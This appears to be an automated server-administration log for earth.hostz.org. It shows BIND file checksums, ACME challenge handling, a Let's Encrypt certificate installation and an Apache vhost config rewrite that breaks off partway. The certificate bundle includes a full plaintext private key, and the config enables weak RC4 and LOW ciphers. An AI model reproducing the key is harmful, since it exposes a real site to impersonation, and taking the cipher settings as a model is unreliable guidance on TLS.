MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-16 06:00:01: Establishing a connection
2026-02-16 06:00:02: Establishing a connection
2026-02-16 06:00:04: 

PUT: /tmp/pkp849677

#!/bin/bash
if [ -d "/var/www/hostz_earth/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-02-16 06:00:05: 

chmod 755 /tmp/pkp849677; /tmp/pkp849677; rm /tmp/pkp849677

2026-02-16 06:00:05: 


1


2026-02-16 06:00:06: Establishing a connection
2026-02-16 06:00:07: 

PUT: /tmp/pkp244005

#!/bin/bash
mkdir -p "/var/www/hostz_earth/.well-known/acme-challenge/"
cd "/var/www/hostz_earth/.well-known/acme-challenge/"
cat > DfNCEC65nX7F6EcTfyS7gX9GYJxnZNm4R32nJUY9kdY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
DfNCEC65nX7F6EcTfyS7gX9GYJxnZNm4R32nJUY9kdY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 DfNCEC65nX7F6EcTfyS7gX9GYJxnZNm4R32nJUY9kdY


2026-02-16 06:00:08: 

chmod 755 /tmp/pkp244005; /tmp/pkp244005; rm /tmp/pkp244005

2026-02-16 06:00:09: 




2026-02-16 06:00:13: Establishing a connection
2026-02-16 06:00:14: 

PUT: /tmp/pkp888679

#!/bin/bash
mkdir -p "/var/www/hostz_earth/.well-known/acme-challenge/"
cd "/var/www/hostz_earth/.well-known/acme-challenge/"
rm DfNCEC65nX7F6EcTfyS7gX9GYJxnZNm4R32nJUY9kdY


2026-02-16 06:00:15: 

chmod 755 /tmp/pkp888679; /tmp/pkp888679; rm /tmp/pkp888679

2026-02-16 06:00:15: 




2026-02-16 06:00:15: Establishing a connection
2026-02-16 06:00:17: 

PUT: /tmp/pkp370506

#!/bin/bash
temp_file=$(mktemp)
TARGET=ecea81f90eb664107ec66742d2c0036d

cat > $temp_file <<'endmsg'
a4:a6:28:23:f9:84:5f:eb:a8:76:bb:79:18:b5:22:b7

-----BEGIN CERTIFICATE-----
MIIE+DCCA+CgAwIBAgISBu/3KUYvG3Aedxdg04dMuuO6MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjE2MDUwMTQyWhcNMjYwNTE3MDUwMTQxWjAaMRgwFgYDVQQD
Ew9lYXJ0aC5ob3N0ei5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCSXeYf+BFN2f0HGxtTMYeCddWCqOgvJ/ZPky8Qc6t71cLxXwXhS1HcTgzCWF6G
1Ai1BBC3Gsm2ON6ccfeeFgMY6ojgdUVUJp1Z//1bRUFDT2HtJPduStxmriPCG6tb
xOLmIuB+Mdn9OeYBWclcktclm3aS1rK5W92FIONfLm+lwRyv4hmgIoEa3WxmVjFO
KXVBYBAKNDGoGliFOjteIx9qar4JyJd1Ce4g2SNZZS0ilU5paSKKArcgsrkDGcz1
T8CTETFwiCgBV4YlVflvcP246ObjOO7KQI78ksifhknH1TMF8B10ZP8bw00jvVj2
nuhe+TLH/QzOc1rZ+pR3dbeBAgMBAAGjggIdMIICGTAOBgNVHQ8BAf8EBAMCBaAw
EwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUz+DJ
aF0O/JmY7w+6X5A4/CXp5MQwHwYDVR0jBBgwFoAU56ufDywzoFPTXk94yLKEDjvW
kjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEzLmkubGVu
Y3Iub3JnLzAaBgNVHREEEzARgg9lYXJ0aC5ob3N0ei5vcmcwEwYDVR0gBAwwCjAI
BgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9y
Zy81OS5jcmwwggEMBgorBgEEAdZ5AgQCBIH9BIH6APgAdQAWgy2r8KklDw/wOqVF
/8i/yCPQh0v2BCkn+OcfMxP1+gAAAZxlCPaOAAAEAwBGMEQCIFyKqpquLjdh4f97
RNnI506oMbDDHfCXY8OKZNw2doCAAiBRPgnknYiPME5O5M+Y/0YEdWng1I1luawG
geQYKgVuVQB/ABqLnWlKV5jImaDKiL30j8C0VmDMw2ANH3H0af/H0ayjAAABnGUI
+MUACAAABQBIxjNYBAMASDBGAiEA+KPULx6/UoV8yE0nLU1Y4NyQrmbJj/dpVz1L
8wi0efECIQCcKmspoJDcEqY+mYsXGbBUP0gisw0eRFJQVHcvijIouTANBgkqhkiG
9w0BAQsFAAOCAQEAKHOFg+/MABgclAmBQzjEs1tVGXq2lzKYkYUjTYhrYcdTaI3w
s9YsKulFxIfiO38jkrRkp1u4MhQ52IcOrw+xxO8BSdAu4Ir3bJvS3j6O+fLtR5l5
XjKORVrZo3cZo9g0fegMoOZjlBHnzWKEj8rTJhdyWjxknmm6lCPdfMLrYFOPYafH
Wby46mIB2B694VdOSQcbUSPCk2ky5+4TTVoPEo8rGcLrgQq1m5a+HYDbW4+nkSOX
MMWuTEkBeDTzVj6KVCQB6ZCpftF+6kSULRxLtPxNmtfpVCrtoxQfP49gp/wpeT4Z
VnhWyMTPYtXs9n5exwKNV+BWynsaQkdk7lI9ag==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCSXeYf+BFN2f0H
GxtTMYeCddWCqOgvJ/ZPky8Qc6t71cLxXwXhS1HcTgzCWF6G1Ai1BBC3Gsm2ON6c
cfeeFgMY6ojgdUVUJp1Z//1bRUFDT2HtJPduStxmriPCG6tbxOLmIuB+Mdn9OeYB
Wclcktclm3aS1rK5W92FIONfLm+lwRyv4hmgIoEa3WxmVjFOKXVBYBAKNDGoGliF
OjteIx9qar4JyJd1Ce4g2SNZZS0ilU5paSKKArcgsrkDGcz1T8CTETFwiCgBV4Yl
VflvcP246ObjOO7KQI78ksifhknH1TMF8B10ZP8bw00jvVj2nuhe+TLH/QzOc1rZ
+pR3dbeBAgMBAAECggEACFzeF6iEUJbqapwFYSj8zZru8pK1BXC6lYxazY1WWHJ7
u2/K9bboe/ZnqzkCWaDGyJTtYZDhwowYSAcI91rZnXRVEsIQjoDQT8KdFrhrxK1F
8pdAneggFKvRdjc/gLRMpIqMmhk+E8ZZmm0nYKcxLMBns3cZ6hZSH1ekNh2Amo9K
dRxyYe9YOdx9N5GBKRL/1bCwK49iQjtHrCVyzgsR6hhLc/6TPyz4eznutFVu2O0r
LT+pnCD0uhIQb9XFShpePJhac3rs+vIBdJBKUS/ZTlWdG8yHkVEvtFS7CG+S70MF
lXYbyEN5831WIIfI7gPZq/dB0+sCdfOzP2L+JqHwIwKBgQDFNZXMi8XulFNl1c9c
Z09wndQDx6wUXe8OPXdeb0xUbl510c+SKJ8D+66iwH7PB6ZiFtKl4csdpaq4C0Ml
ZV6MAUrskSHEUQA/kP5XNbrH7Y9+DyTVIx4K5WD/G27oAWWPwv2mTBN8sVyw1VSd
HmNuD9DNiyKY3I91w+5YAue3FwKBgQC+ACrEfZATatX52Cj7fVD7mflgTNE2B9m8
JobOVlIp+BpChkA+GCLhG3a8d/AHdbB2f3KR3Xh0mEW9Fi3h2o3Pj06frOKdZjts
R3JoUfh+C7AjCCFoHUoq1h0Uz4+l8r2nrB3T3y6pa9neh11jOHlNipuS3FSQhl9I
lphrhHGlJwKBgFjhcrcyk62YWhH+kCuEQFBwQZrGhi7Tuyc+2qrMHKm86IPPYO7t
seVYrHebrEtglkOFJ8Eth57ACLZUFRoomrkc6AjAzGgvXZ5ImejyRVFQJyjYaHBL
GIIuqU2wroaQApcNecZWaT38rdrg+vapOITlSeUpfRlJ5rpb6PLvtEFXAoGAAdr+
j+yp+4aPkGEMBWiz4cEfLlGRuXVaKvw1VM6C/uXtW7jz56dUr94UysJhFbGQh5e3
BrWi94CFLdOJnysDN4OuwOBvVhopemU4OMyUIKb8kVsC+IFQuBpfLlTYkkZMk9aa
c/c5/W2QMxwfTVi/1oIEAusj6EVnqM3Prz0b3wECgYEAiJgFNISs0iminBiXVhNp
IxEBofvdev9MGGnP2FQPCjEWrayMWTLYY2AfXAsOWm4ASgQ2d9LOPODxrsGIKgPD
09SOJkS4Usb+cvZKf7shLG1oNzzIaO0CvuBC0bxSex0i8tjMk0Dr56Yu+hNyRpNI
1lah9MhZkLfFq9t9qpiacjU=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-02-16 06:00:18: 

chmod 755 /tmp/pkp370506; /tmp/pkp370506; rm /tmp/pkp370506

2026-02-16 06:00:18: 


dir=/etc/ssl/certs


2026-02-16 06:00:18: 

PUT: /tmp/pkp280179

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/pjy_earth_us.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-02-16 06:00:18: 

chmod 755 /tmp/pkp280179; /tmp/pkp280179; rm /tmp/pkp280179

2026-02-16 06:00:19: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_earth_us.conf 36
ExtendedStatus	on

<VirtualHost *:80>
    ServerName	earth.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_earth
    <Directory /var/www/hostz_earth>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/earth_access.log combined
    ErrorLog	/var/log/apache2/pjy/earth_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	earth.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_earth
    <Directory /var/www/hostz_earth>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_earth/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/pjy/earth_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/earth_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-02-16 06:00:19: 

PUT: /tmp/pkp244078

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_earth_us.conf
TARGET=/etc/apache2/sites-enabled/pjy_earth_us.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
ExtendedStatus	on

<VirtualHost *:80>
    ServerName	earth.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_earth
    <Directory /var/www/hostz_earth>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/earth_access.log combined
    ErrorLog	/var/log/apache2/pjy/earth_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	earth.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
